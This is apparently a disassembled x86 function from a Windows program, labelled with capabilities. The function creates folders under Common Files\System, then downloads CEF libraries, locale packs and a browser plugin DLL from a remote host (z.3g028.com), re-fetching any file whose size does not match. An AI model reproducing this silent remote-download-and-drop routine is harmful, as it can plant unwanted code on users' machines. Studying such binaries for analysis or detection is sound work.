Function at 0x407cb0
Capabilities:
Create directory
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x421147
mov eax, dword fs:[0]
push eax
sub esp, 0x374
mov eax, dword [0x4292f4]
xor eax, esp
mov dword [esp + 0x370], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4292f4]
xor eax, esp
push eax
lea eax, [esp + 0x388]
mov dword fs:[0], eax
push str.C:Program_FilesCommon_FilesSystemcef9999.txt
lea eax, [esp + 0x20]
push eax
call fcn.00408780
push 0x63
xor ebp, ebp
lea ecx, [esp + 0x321]
push ebp
push ecx
mov dword [esp + 0x108], str.am.pak
mov dword [esp + 0x10c], str.ar.pak
mov dword [esp + 0x110], str.bg.pak
mov dword [esp + 0x114], str.bn.pak
mov dword [esp + 0x118], str.ca.pak
mov dword [esp + 0x11c], str.cs.pak
mov dword [esp + 0x120], str.da.pak
mov dword [esp + 0x124], str.de.pak
mov dword [esp + 0x128], str.el.pak
mov dword [esp + 0x12c], str.en_GB.pak
mov dword [esp + 0x130], str.en_US.pak
mov dword [esp + 0x134], str.es_419.pak
mov dword [esp + 0x138], str.es.pak
mov dword [esp + 0x13c], str.et.pak
mov dword [esp + 0x140], str.fa.pak
mov dword [esp + 0x144], str.fi.pak
mov dword [esp + 0x148], str.fil.pak
mov dword [esp + 0x14c], str.fr.pak
mov dword [esp + 0x150], str.gu.pak
mov dword [esp + 0x154], str.he.pak
mov dword [esp + 0x158], str.hi.pak
mov dword [esp + 0x15c], str.hr.pak
mov dword [esp + 0x160], str.hu.pak
mov dword [esp + 0x164], str.id.pak
mov dword [esp + 0x168], str.it.pak
mov dword [esp + 0x16c], str.ja.pak
mov dword [esp + 0x170], str.kn.pak
mov dword [esp + 0x174], str.ko.pak
mov dword [esp + 0x178], str.lt.pak
mov dword [esp + 0x17c], str.lv.pak
mov dword [esp + 0x180], str.ml.pak
mov dword [esp + 0x184], str.mr.pak
mov dword [esp + 0x188], str.ms.pak
mov dword [esp + 0x18c], str.nb.pak
mov dword [esp + 0x190], str.nl.pak
mov dword [esp + 0x194], str.pl.pak
mov dword [esp + 0x198], str.pt_BR.pak
mov dword [esp + 0x19c], str.pt_PT.pak
mov dword [esp + 0x1a0], str.ro.pak
mov dword [esp + 0x1a4], str.ru.pak
mov dword [esp + 0x1a8], str.sk.pak
mov dword [esp + 0x1ac], str.sl.pak
mov dword [esp + 0x1b0], str.sr.pak
mov dword [esp + 0x1b4], str.sv.pak
mov dword [esp + 0x1b8], str.sw.pak
mov dword [esp + 0x1bc], str.ta.pak
mov dword [esp + 0x1c0], str.te.pak
mov dword [esp + 0x1c4], str.th.pak
mov dword [esp + 0x1c8], str.tr.pak
mov dword [esp + 0x1cc], str.uk.pak
mov dword [esp + 0x1d0], str.vi.pak
mov dword [esp + 0x1d4], str.zh_CN.pak
mov dword [esp + 0x1d8], str.zh_TW.pak
mov dword [esp + 0xb0], str.cef.pak
mov dword [esp + 0xb4], str.cefsimple.exe
mov dword [esp + 0xb8], str.d3dcompiler_43.dll
mov dword [esp + 0xbc], str.d3dcompiler_46.dll
mov dword [esp + 0xc0], str.debug.log
mov dword [esp + 0xc4], str.devtools_resources.pak
mov dword [esp + 0xc8], str.ffmpegsumo.dll
mov dword [esp + 0xcc], str.icudt.dll
mov dword [esp + 0xd0], str.libcef.dll
mov dword [esp + 0xd4], str.libEGL.dll
mov dword [esp + 0xd8], str.libGLESv2.dll
mov byte [esp + 0x328], 0
call fcn.0040dfd0
add esp, 0xc
push 0x63
push ebp
lea edx, [esp + 0x2bd]
mov byte [esp + 0x2bc], 0
push edx
call fcn.0040dfd0
mov eax, dword [esp + 0x28]
mov eax, dword [eax + 4]
mov ecx, dword [esp + eax + 0x30]
lea eax, [esp + eax + 0x28]
and cl, 6
movsx edx, cl
add esp, 0xc
neg edx
sbb edx, edx
not edx
test eax, edx
jne 0x40811e
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push ebp
push str.C:Program_FilesCommon_FilesSystemcef_
call esi
push ebp
push str.C:Program_FilesCommon_FilesSystemceflocales_
call esi
xor esi, esi
lea ecx, [ecx]
lea edi, [esi + 1]
push edi
push str.http:__z.3g028.com_file_
push str._sdll__d
lea eax, [esp + 0x328]
push 0x64
push eax
call fcn.0040b190
mov ecx, dword [esp + esi*4 + 0xb8]
add esp, 0x14
push ecx
push str.C:Program_FilesCommon_FilesSystemcef_
push str._s_s
lea edx, [esp + 0x2c0]
push 0x64
push edx
call fcn.0040b190
add esp, 0x14
lea eax, [esp + 0x17]
push eax
lea ecx, [esp + 0x2b8]
push ecx
lea ecx, [esp + 0x324]
call section..text
mov esi, edi
add esp, 8
cmp esi, 0xb
jl 0x408030
xor esi, esi
lea esp, [esp]
lea edi, [esi + 1]
push edi
push str.http:__z.3g028.com_file_
push str._spak__d
lea edx, [esp + 0x328]
push 0x64
push edx
call fcn.0040b190
mov eax, dword [esp + esi*4 + 0x110]
add esp, 0x14
push eax
push str.C:Program_FilesCommon_FilesSystemceflocales_
push str._s_s
lea ecx, [esp + 0x2c0]
push 0x64
push ecx
call fcn.0040b190
add esp, 0x14
lea edx, [esp + 0x17]
push edx
lea eax, [esp + 0x2b8]
push eax
lea ecx, [esp + 0x324]
call section..text
mov esi, edi
add esp, 8
cmp esi, 0x35
jl 0x4080a0
lea ecx, [esp + 0x17]
push ecx
push str.C:Program_FilesCommon_FilesServices_npYunWeb.dll
mov ecx, str.http:__z.3g028.com_file_dll_npYunWeb.dll
call section..text
add esp, 8
mov eax, 0x1a42
mov dword [esp + 0xd0], 0x160ec5
mov dword [esp + 0xd4], 0x4da00
mov dword [esp + 0xd8], 0x202368
mov dword [esp + 0xdc], 0x314fd0
mov dword [esp + 0xe0], 0x2696f
mov dword [esp + 0xe4], 0x321867
mov dword [esp + 0xe8], 0xe8000
mov dword [esp + 0xec], 0x988200
mov dword [esp + 0xf0], 0x26bda00
mov dword [esp + 0xf4], 0x20c00
mov dword [esp + 0xf8], 0xde800
mov dword [esp + 0x1d4], 0x292d
mov dword [esp + 0x1d8], 0x2f16
mov dword [esp + 0x1dc], 0x2c5b
mov dword [esp + 0x1e0], 0x3924
mov dword [esp + 0x1e4], 0x1d92
mov dword [esp + 0x1e8], 0x1d21
mov dword [esp + 0x1ec], eax
mov dword [esp + 0x1f0], 0x1d5f
mov dword [esp + 0x1f4], 0x30aa
mov dword [esp + 0x1f8], 0x192b
mov dword [esp + 0x1fc], 0x1932
mov dword [esp + 0x200], 0x1dee
mov dword [esp + 0x204], 0x1e88
mov dword [esp + 0x208], 0x1b27
mov dword [esp + 0x20c], 0x2727
mov dword [esp + 0x210], 0x1c18
mov dword [esp + 0x214], 0x1ed4
mov dword [esp + 0x218], 0x1f60
mov dword [esp + 0x21c], 0x3592
mov dword [esp + 0x220], 0x2067
mov dword [esp + 0x224], 0x34c7
mov dword [esp + 0x228], 0x1d78
mov dword [esp + 0x22c], 0x1e4e
mov dword [esp + 0x230], 0x1aa4
mov dword [esp + 0x234], 0x1c6c
mov dword [esp + 0x238], 0x2110
mov dword [esp + 0x23c], 0x3d03
mov dword [esp + 0x240], 0x1cd6
mov dword [esp + 0x244], 0x1e7e
mov dword [esp + 0x248], 0x1ecb
mov dword [esp + 0x24c], 0x46e2
mov dword [esp + 0x250], 0x33fe
mov dword [esp + 0x254], 0x1b60
mov dword [esp + 0x258], 0x1a6b
mov dword [esp + 0x25c], 0x1bfe
mov dword [esp + 0x260], 0x1c8e
mov dword [esp + 0x264], 0x1c87
mov dword [esp + 0x268], 0x1cc9
mov dword [esp + 0x26c], 0x2020
mov dword [esp + 0x270], 0x2909
mov dword [esp + 0x274], 0x1e47
mov dword [esp + 0x278], 0x1b8c
mov dword [esp + 0x27c], 0x2ac4
mov dword [esp + 0x280], eax
mov dword [esp + 0x284], 0x1c0a
mov dword [esp + 0x288], 0x41cd
mov dword [esp + 0x28c], 0x3fd1
mov dword [esp + 0x290], 0x3627
mov dword [esp + 0x294], 0x1b7e
mov dword [esp + 0x298], 0x2bf1
mov dword [esp + 0x29c], 0x1fb7
mov dword [esp + 0x2a0], 0x1959
mov dword [esp + 0x2a4], 0x19d1
xor esi, esi
lea ecx, [ecx]
cmp esi, 4
je 0x4084d2
mov edx, dword [esp + esi*4 + 0xa4]
push edx
push str.C:Program_FilesCommon_FilesSystemcef_
push str._s_s
lea eax, [esp + 0x2c0]
push 0x64
push eax
call fcn.0040b190
add esp, 0x14
lea ecx, [esp + 0x2b4]
push 0x425f20
push ecx
call fcn.00409f95
mov ebp, dword [esp + esi*4 + 0xd8]
mov edi, eax
add esp, 8
mov ebx, ebp
test edi, edi
je 0x40844e
push edi
call fcn.0040ce02
add esp, 4
push eax
call fcn.0041b1da
add esp, 4
push edi
mov ebx, eax
call fcn.0040a207
add esp, 4
cmp esi, 1
jne 0x40848c
test edi, edi
je 0x40845f
cmp ebx, 0x493e0
jge 0x4084d0
push 2
push str.http:__z.3g028.com_file_
push str._sdll__d
lea edx, [esp + 0x328]
push 0x64
push edx
call fcn.0040b190
add esp, 0x14
lea eax, [esp + 0x17]
push eax
lea ecx, [esp + 0x2b8]
push ecx
jmp 0x4084c1
test edi, edi
je 0x408494
cmp ebx, ebp
je 0x4084d0
lea edx, [esi + 1]
push edx
push str.http:__z.3g028.com_file_
push str._sdll__d
lea eax, [esp + 0x328]
push 0x64
push eax
call fcn.0040b190
add esp, 0x14
lea ecx, [esp + 0x17]
push ecx
lea edx, [esp + 0x2b8]
push edx
lea ecx, [esp + 0x324]
call section..text
add esp, 8
xor ebp, ebp
inc esi
cmp esi, 0xb
jl 0x4083e0
xor esi, esi
mov edi, edi
mov eax, dword [esp + esi*4 + 0xfc]
push eax
push str.C:Program_FilesCommon_FilesSystemceflocales_
push str._s_s
lea ecx, [esp + 0x2c0]
push 0x64
push ecx
call fcn.0040b190
add esp, 0x14
lea edx, [esp + 0x2b4]
push 0x425f20
push edx
call fcn.00409f95
mov edi, eax
add esp, 8
cmp edi, ebp
je 0x408545
push edi
call fcn.0040ce02
add esp, 4
push eax
call fcn.0041b1da
add esp, 4
push edi
mov ebx, eax
call fcn.0040a207
add esp, 4
cmp ebx, dword [esp + esi*4 + 0x1d4]
je 0x408581
lea eax, [esi + 1]
push eax
push str.http:__z.3g028.com_file_
push str._spak__d
lea ecx, [esp + 0x328]
push 0x64
push ecx
call fcn.0040b190
add esp, 0x14
lea edx, [esp + 0x17]
push edx
lea eax, [esp + 0x2b8]
push eax
lea ecx, [esp + 0x324]
call section..text
add esp, 8
inc esi
cmp esi, 0x35
jl 0x4084e0
push str.C:Program_FilesCommon_FilesServices_npYunWeb.dll
lea ecx, [esp + 0x2b8]
push 0x64
push ecx
call fcn.0040b190
add esp, 0xc
lea edx, [esp + 0x2b4]
push 0x425f20
push edx
call fcn.00409f95
add esp, 8
cmp eax, ebp
je 0x4085d4
push eax
call fcn.0040ce02
add esp, 4
push eax
call fcn.0041b1da
add esp, 4
cmp eax, 0x93c8
je 0x4085ee
lea eax, [esp + 0x17]
push eax
lea ecx, [esp + 0x2b8]
push ecx
mov ecx, str.http:__z.3g028.com_file_dll_npYunWeb.dll
call section..text
add esp, 8
mov eax, dword [esp + 0x1c]
mov ecx, dword [eax + 4]
lea edx, [esp + 0x70]
mov dword [esp + 0x2b0], edx
mov dword [esp + ecx + 0x1c], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov dword [esp + 0x390], ebp
lea edx, [esp + 0x20]
mov dword [esp + 0x2ac], edx
mov dword [esp + 0x20], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [esp + 0x390], 1
cmp byte [esp + 0x68], 0
je 0x4086b3
cmp dword [esp + 0x6c], ebp
je 0x40864f
mov ecx, edx
call fcn.00409720
mov eax, dword [esp + 0x6c]
push eax
call fcn.0040a207
add esp, 4
lea ecx, [esp + 0x28]
mov dword [esp + 0x30], ecx
lea edx, [esp + 0x2c]
lea eax, [esp + 0x38]
lea ecx, [esp + 0x3c]
mov dword [esp + 0x34], edx
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], ecx
mov ecx, dword [0x42cff8]
lea edx, [esp + 0x48]
lea eax, [esp + 0x4c]
mov byte [esp + 0x68], 0
mov byte [esp + 0x61], 0
mov dword [esp + 0x50], edx
mov dword [esp + 0x54], eax
mov dword [esp + 0x2c], ebp
mov dword [esp + 0x3c], ebp
mov dword [esp + 0x4c], ebp
mov dword [esp + 0x28], ebp
mov dword [esp + 0x38], ebp
mov dword [esp + 0x48], ebp
mov dword [esp + 0x6c], ebp
mov dword [esp + 0x64], ecx
mov dword [esp + 0x5c], ebp
mov dword [esp + 0x20], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
mov byte [esp + 0x390], 2
mov eax, dword [esp + 0x58]
mov ebx, eax
cmp eax, ebp
je 0x408718
mov edi, dword [eax]
cmp edi, ebp
je 0x40870f
push ebp
lea ecx, [esp + 0x1c]
call fcn.0041a598
mov eax, dword [edi + 4]
cmp eax, ebp
jbe 0x4086ed
cmp eax, 0xffffffff
jae 0x4086ed
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x18]
and esi, edi
call fcn.0041a5c0
cmp esi, ebp
je 0x40870f
mov edx, dword [esi]
mov eax, dword [edx]
push 1
mov ecx, esi
call eax
push ebx
call fcn.0040a647
add esp, 4
lea ecx, [esp + 0x24]
mov byte [esp + 0x390], 0
call fcn.0041ad40
mov dword [esp + 0x390], 0xffffffff
mov ecx, dword [esp + 0x1c]
mov edx, dword [ecx + 4]
lea eax, [esp + 0x70]
mov dword [esp + edx + 0x1c], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
push eax
mov dword [esp + 0x74], vtable.std::ios_base.0
call fcn.0041ac95
add esp, 4
mov ecx, dword [esp + 0x388]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x370]
xor ecx, esp
call fcn.00409ec2
add esp, 0x380
ret